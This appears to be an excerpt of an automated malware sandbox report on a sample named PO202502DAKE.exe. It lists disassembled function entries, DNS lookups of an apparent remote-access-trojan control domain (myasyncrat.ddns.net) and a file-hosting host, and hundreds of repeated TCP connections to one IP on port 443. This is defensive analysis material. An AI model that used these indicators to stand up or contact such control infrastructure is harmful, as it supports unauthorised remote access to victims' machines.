Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then sub rsp, 28h	28_2_00007FFC9CE05ED0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push rdi	28_2_00007FFC9CE9E020
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push r14	28_2_00007FFC9CE9E020
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then test rdx, rdx	28_2_00007FFC9CE259C0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then cmp edx, 02h	28_2_00007FFC9CE7BB00
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then sub rsp, 38h	28_2_00007FFC9CE61C00
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then sub rsp, 28h	28_2_00007FFC9CE2BBB0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push rbx	28_2_00007FFC9CDF7650
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push rsi	28_2_00007FFC9CE1F280
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push rsi	28_2_00007FFC9CE43420
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push r15	28_2_00007FFC9CE17400
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push rsi	28_2_00007FFC9CE433D0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push rsi	28_2_00007FFC9CE0CD40
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then sub rsp, 28h	28_2_00007FFC9CE0CCF0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push rbp	28_2_00007FFC9CE20E99
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then test r8d, r8d	28_2_00007FFC9CE8AF80
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push rbx	28_2_00007FFC9CE0C980
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push rbx	28_2_00007FFC9CE0C980
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push rbx	28_2_00007FFC9CE0C980
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push rbx	28_2_00007FFC9CE2AB30
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push rbx	28_2_00007FFC9CDFEB10
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push rbp	28_2_00007FFC9CDE2C25
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push rbx	28_2_00007FFC9CE0CC30
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push rbx	28_2_00007FFC9CE0CC30
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then sub rsp, 28h	28_2_00007FFC9CE0CBE0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then sub rsp, 28h	28_2_00007FFC9CE2C5D0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push rbx	28_2_00007FFC9CE461C0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then sub rsp, 28h	28_2_00007FFC9CE461C0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then test rdx, rdx	28_2_00007FFC9CE246E0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then sub rsp, 28h	28_2_00007FFC9CE0C690
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push rbp	28_2_00007FFC9CE9A0E0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then mov rax, qword ptr [rcx+08h]	28_2_00007FFC9CE4E230
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then sub rsp, 28h	28_2_00007FFC9CE061E0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push rbx	28_2_00007FFC9CE461C0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then sub rsp, 28h	28_2_00007FFC9CE461C0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push rdi	28_2_00007FFC9CE00190
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then mov eax, dword ptr [rsi]	33_2_00007FF6E44A7A50
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then mov eax, dword ptr [rcx]	33_2_00007FF6E44A55C0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 4x nop then push rbx	33_2_00007FF6E44A21F3

Source: global traffic	DNS query: name: f004.backblazeb2.com
Source: global traffic	DNS query: name: myasyncrat.ddns.net
Source: global traffic	DNS query: name: myasyncrat.ddns.net
Source: global traffic	DNS query: name: otelrules.svc.static.microsoft
Source: global traffic	DNS query: name: myasyncrat.ddns.net
Source: global traffic	DNS query: name: myasyncrat.ddns.net
Source: global traffic	DNS query: name: myasyncrat.ddns.net
Source: global traffic	DNS query: name: myasyncrat.ddns.net
Source: global traffic	DNS query: name: myasyncrat.ddns.net
Source: global traffic	DNS query: name: myasyncrat.ddns.net
Source: global traffic	DNS query: name: myasyncrat.ddns.net
Source: global traffic	DNS query: name: myasyncrat.ddns.net

Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.4:49738 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.4:49739 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
Source: global traffic	TCP traffic: 192.168.2.4:49722 -> 149.137.128.16:443
